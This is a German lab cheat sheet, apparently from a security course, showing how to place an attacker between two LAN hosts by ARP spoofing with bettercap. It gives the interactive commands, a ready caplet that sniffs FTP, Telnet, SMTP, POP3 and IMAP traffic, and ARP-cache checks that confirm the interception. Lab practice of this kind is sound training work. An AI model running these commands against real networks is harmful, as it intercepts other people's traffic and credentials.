Arpspoofing mit Bettercap

Szenario

• HOST1=10.0.10.103
• HOST2=10.0.10.104

Der Angreifer schaltet sich per ARP-Spoofing zwischen HOST1 und HOST2 und leitet deren Datenverkehr ueber sich um.

Angriff auf dem Angreifer

• bettercap -iface eth0

Im bettercap-Prompt

• set arp.spoof.targets 10.0.10.103,10.0.10.104
• set arp.spoof.internal true
• set arp.spoof.fullduplex true
• net.probe on
• arp.spoof on
• net.sniff on

Optionen

-iface eth0              =  Interface
arp.spoof.targets        =  beide Opfer-Hosts
arp.spoof.internal true  =  auch Host-zu-Host im LAN vergiften (nicht nur Richtung Gateway)
arp.spoof.fullduplex     =  beide Richtungen vergiften
net.probe on             =  ARP-Cache vorab fuellen, damit die MACs beider Hosts bekannt sind
arp.spoof on             =  ARP-Spoofing starten
net.sniff on             =  Mitschnitt starten

Als Caplet (reproduzierbar)

Datei seclab-h2h.cap

net.probe on
set arp.spoof.targets 10.0.10.103,10.0.10.104
set arp.spoof.internal true
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 25 or tcp port 110 or tcp port 143"
arp.spoof on
net.sniff on

Start

• bettercap -iface eth0 -caplet seclab-h2h.cap

Nachweis auf HOST1

Im ARP-Cache steht fuer HOST2 die MAC-Adresse des Angreifers

• arp -n | grep 10.0.10.104

10.0.10.104   ether   <MAC-der-kali-innen>   C   enp0s3

Nachweis auf HOST2

Im ARP-Cache steht fuer HOST1 dieselbe MAC-Adresse

• arp -n | grep 10.0.10.103

10.0.10.103   ether   <MAC-der-kali-innen>   C   eth0

Beide Opfer tragen fuer unterschiedliche IPs dieselbe MAC ein - das ist der Beleg fuer den laufenden MITM.

Weiterfuehrende Angriffe

• Ngrep